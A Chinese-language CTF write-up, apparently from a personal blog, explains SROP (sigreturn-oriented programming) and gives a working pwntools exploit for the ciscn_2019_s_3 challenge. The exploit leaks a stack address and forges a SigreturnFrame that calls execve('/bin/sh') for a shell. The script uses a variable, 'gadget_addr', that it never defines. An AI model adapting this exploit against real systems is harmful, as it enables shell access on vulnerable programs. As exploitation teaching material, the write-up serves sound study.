# SROP

# 原理

利用 sigreturn 这个系统调用

当信号触发时,会从用户态陷入内核态,内核会把此时的寄存器和相关的上下文状态 push 进入到用户态的栈中,然后去执行信号处理函数,完成之后,会执行 sigreturn 系统调用,把刚才保存在用户态的栈帧 (SigreturnFrame) 恢复,即不断地 pop 恢复寄存器,因此可以通过这个系统调用控制寄存器的值,前提是要可以控制栈帧。而我们如果有办法可以在调用 sigreturn 之前就布置好栈帧,就可以控制程序流程了。

因此我们的利用过程主要是第 3、4 步,不用信号去触发 sigreturn 系统调用,那么就不会去 push 寄存器到栈中,如果直接调用系统调用来触发,那么在第 4 步恢复寄存器时,我们的栈可以控制,那么就可以控制程序流了

# ciscn_2019_s_3

分析程序

发现有栈溢出漏洞
题目还给了 gadget

而题目也可以搜索到 syscall ,gadget 段的程序将 rax 赋值为了 15 ,刚好是 sigreturn 的系统调用号,所以可以使用 SROP
考虑使用 SROP 更改 raxexecve 的系统调用号并更改 rdi 为存放 /bin/sh 的地址, rsirdx0 。那么 /bin/sh 我们改写在哪里,可以写的地方只有栈上的 buf ,因此考虑先泄露栈上的地址

gdb 调试程序

上图分析过,因此我们可以得到栈上的地址 0x7fffffffe3e8 ,而 buf 的地址就是 RSI 里的地址,偏移是不变的,所以计算得到偏移为 0x118

n
from pwn import *
p=process('./ciscn_s_3')
context(arch='amd64',os='linux',log_level='debug')
vuln_addr=0x4004ED
sigreturn_addr=0x4004DA
syscall_addr=0x400501
payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'a')
payload+=p64(vuln_addr)  #覆盖返回地址,和平时不太一样,没有 pop rbp
p.send(payload)
p.recv(0x20)  #泄露栈上的地址
binsh=u64(p.recv(8))-0x118
success('/bin/sh/addr=',hex(binsh))

之后开始伪造栈帧

n
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
# frame.rax=59
frame.rdi=binsh
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr

最后就是再次利用栈溢出来布置 SigreturnFrame 到栈上并且去执行 gadget 执行 sigreturn 系统调用

n
payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'a')
#执行 sigreturn 需要不改变栈帧情况,所以在 gadget 直接跳到 mov rax,0Fh,略过 push rbp
payload+=p64(gadget_addr)+p64(syscall_addr)+bytes(frame)
p.send(payload)
p.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

岚沐 WeChat Pay

WeChat Pay

岚沐 Alipay

Alipay

岚沐 PayPal

PayPal